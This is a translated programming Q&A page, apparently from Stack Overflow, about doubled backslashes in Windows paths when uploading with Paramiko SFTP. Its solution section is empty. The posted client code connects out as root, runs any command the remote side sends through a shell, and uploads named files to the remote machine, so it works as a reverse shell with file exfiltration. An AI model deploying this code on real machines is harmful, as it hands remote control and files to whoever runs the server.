python - Paramiko:通过 SFTP 传输文件时 Windows 文件路径出错
问题描述
我目前正在使用服务器-客户端设置,其中有两个单独的服务器脚本。一个 python 脚本负责使用 Paramiko 运行 SSH 侦听器,并且该脚本在一台机器上运行。我有另一个服务器脚本专门充当另一台独立机器上的 SFTP 服务器,与另一台机器在同一范围和子网内。
我的客户端代码在 Windows 10 系统上运行。两台服务器都在 unix 环境(分别为 macOS 和 Ubuntu 16.04)中运行。
我正在运行的 SFTP 服务器的名称恰如其分sftpserver
,可在https://github.com/rspivak/sftpserver/上找到。
下面的代码实际上是我的全部内容client.py
,减去导入语句。
key = paramiko.RSAKey.from_private_key_file('testkey.key')
transport = paramiko.Transport(('192.168.1.116', 10000))
transport.connect(username='root', password='toor', pkey=key)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.1.107', username='root', password='toor')
chan = client.get_transport().open_session()
chan.send("Hey man! I'm connected!")
print(chan.recv(1024))
def sftp(localpath, name):
try:
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put(localpath, '/root/uploads/' + name)
sftp.close()
transport.close()
return "<+> Done uploading"
except Exception as e:
return str(e)
while True:
command = chan.recv(1024).decode()
ipdb.set_trace() // <-- debugging purposes only
if 'grab' in command:
_, path, name = command.split(' ')
chan.send(sftp(path, name))
else:
try:
CMD = subprocess.check_output(command, shell=True)
chan.send(CMD)
except Exception as e:
chan.send(str(e))
client.close()
在我的脚本中执行grab
命令如下所示:
grab C:\Users\xxx\testing.txt testing.txt
现在,如果我写一个完全一样的路径(带有反斜杠),它将在每个反斜杠之后附加第二个反斜杠。所以,我现在提供的路径看起来像C:\\Users\xxx\\testing.txt
,这就是我想象的导致我收到File not found
错误的原因。感谢 pdb 我能够找到这个问题,但我不确定如何继续。老实说,我完全不确定这个问题是否与 paramiko 相关,或者它是否是我尚未遇到的一些奇怪的 python 行为。
另外,很抱歉没有堆栈跟踪。如果可能的话,我会尝试获得一个,但是这一秒我有点时间紧迫。
解决方案
推荐阅读
- node.js - NodeJS parseInt() 函数不返回正确的 HEX 值
- python - 如何使用 Graph API 获取喜欢我的页面帖子的列表用户?
- javascript - 在调试模式下定义的函数立即消失
- html - 居中并在列表中包含链接 - css
- c++ - 调用 pango_cairo_create_layout 时符号查找错误
- java - 原因:无法在未调用 Looper.prepare() 的线程上敬酒
- node.js - package.json 依赖项在我的本地 Windows 主机上不起作用,但它在 docker 中起作用 为什么?
- html - 您如何使图像和文本的大小变小但仍将其并排放置?
- web-scraping - 列出指数超出范围的沃尔玛评级
- model-view-controller - syncfusion ASP.NET Core 图表控件禁用点击事件